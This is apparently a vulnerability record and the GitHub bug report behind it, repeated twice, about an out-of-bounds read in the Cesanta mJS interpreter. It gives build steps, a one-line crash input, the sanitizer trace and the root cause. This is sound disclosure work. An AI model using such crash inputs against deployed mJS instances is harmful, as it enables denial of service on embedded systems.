Cesanta MJS 2.20.0 has a getprop_builtin_foreign out-of-bounds read if a Built-in API name occurs in a substring of an input string.
cpe:2.3:a:cesanta:mjs:2.22.0:*:*:*:*:*:*:*
56AA92AF-E8DC-45C1-9BD0-9511720BD225
OR
## Environment 
Ubuntu 22.04.3 LTS 
## Compiler 
clang version 11.0.0 
Target: x86_64-unknown-linux-gnu 
Thread model: posix 
## Affected Version
mjs 2.20.0
## Step to reproduce 
```git clone https://github.com/cesanta/mjs.git 
cd mjs 
git checkout b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551 
export LDFLAGS="-lpthread -latomic" 
./afl-clang -DMJS_MAIN mjs.c -fno-inline -ldl -o mjs-bin -fsanitize=address -g 
./mjs-bin -f PoCfile 
```
## Contents of PoCfile 
```
die[8888888888]
```
## Expected behavior 
Print error or warning messages handled within mjs. 
## Current behavior 
```
AddressSanitizer:DEADLYSIGNAL 
================================================================= 
==203500==ERROR: AddressSanitizer: SEGV on unknown address 0x000012239818 (pc 0x000000555e16 bp 0x7ffd2723c930 sp 0x7ffd2723c860 T0) 
==203500==The signal is caused by a READ memory access. 
    #0 0x555e16 in getprop_builtin_foreign /mjs/mjs.c:8472:31 
    #1 0x55392c in getprop_builtin /mjs/mjs.c:8509:17 
    #2 0x527c8e in mjs_execute /mjs/mjs.c:8661:14 
    #3 0x523d0c in mjs_exec_internal /mjs/mjs.c:9044:5 
    #4 0x5240a7 in mjs_exec_file /mjs/mjs.c:9067:11 
    #5 0x52c77d in main /mjs/mjs.c:11406:13 
    #6 0x7f39b8195082 in __libc_start_main /build/glibc-BHL3KM/glibc-2.31/csu/../csu/libc-start.c:308:16 
    #7 0x41c3bd in _start (/mjs/mjs-bin+0x41c3bd) 
AddressSanitizer can not provide additional info. 
SUMMARY: AddressSanitizer: SEGV /mjs/mjs.c:8472:31 in getprop_builtin_foreign 
==203500==ABORTING 
```
## Conclusion 
The bug was triggered due to an attempt to access memory locations that are restricted when the input string contains Built-in APIs. 
This report specifically provides information when the input string contained the substring "die" (input string: "die[8888888888]"). The presence of "die[88888888]" within the input string led to a segment fault, as it incorrectly identified an inaccessible address of the Built-in APIs as an accessible foreign pointer. Upon further testing with other Built-in APIs, it was discovered that the issue applied to all of the Built-in APIs mentioned in the README.md documentation.

I will submit a Pull Request to address this issue. 
Segmentation Fault in getprop_builtin_foreign
This is a GitHub Issue
repo:mjs
owner:cesanta
Title : Segmentation Fault in getprop_builtin_foreign
Issue date:

--- start body ---
## Environment 
Ubuntu 22.04.3 LTS 
## Compiler 
clang version 11.0.0 
Target: x86_64-unknown-linux-gnu 
Thread model: posix 
## Affected Version
mjs 2.20.0
## Step to reproduce 
```git clone https://github.com/cesanta/mjs.git 
cd mjs 
git checkout b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551 
export LDFLAGS="-lpthread -latomic" 
./afl-clang -DMJS_MAIN mjs.c -fno-inline -ldl -o mjs-bin -fsanitize=address -g 
./mjs-bin -f PoCfile 
```
## Contents of PoCfile 
```
die[8888888888]
```
## Expected behavior 
Print error or warning messages handled within mjs. 
## Current behavior 
```
AddressSanitizer:DEADLYSIGNAL 
================================================================= 
==203500==ERROR: AddressSanitizer: SEGV on unknown address 0x000012239818 (pc 0x000000555e16 bp 0x7ffd2723c930 sp 0x7ffd2723c860 T0) 
==203500==The signal is caused by a READ memory access. 
    #0 0x555e16 in getprop_builtin_foreign /mjs/mjs.c:8472:31 
    #1 0x55392c in getprop_builtin /mjs/mjs.c:8509:17 
    #2 0x527c8e in mjs_execute /mjs/mjs.c:8661:14 
    #3 0x523d0c in mjs_exec_internal /mjs/mjs.c:9044:5 
    #4 0x5240a7 in mjs_exec_file /mjs/mjs.c:9067:11 
    #5 0x52c77d in main /mjs/mjs.c:11406:13 
    #6 0x7f39b8195082 in __libc_start_main /build/glibc-BHL3KM/glibc-2.31/csu/../csu/libc-start.c:308:16 
    #7 0x41c3bd in _start (/mjs/mjs-bin+0x41c3bd) 
AddressSanitizer can not provide additional info. 
SUMMARY: AddressSanitizer: SEGV /mjs/mjs.c:8472:31 in getprop_builtin_foreign 
==203500==ABORTING 
```
## Conclusion 
The bug was triggered due to an attempt to access memory locations that are restricted when the input string contains Built-in APIs. 
This report specifically provides information when the input string contained the substring "die" (input string: "die[8888888888]"). The presence of "die[88888888]" within the input string led to a segment fault, as it incorrectly identified an inaccessible address of the Built-in APIs as an accessible foreign pointer. Upon further testing with other Built-in APIs, it was discovered that the issue applied to all of the Built-in APIs mentioned in the README.md documentation.

I will submit a Pull Request to address this issue. 
--- end body ---

comments :
--- start comments ---

--- end comments ---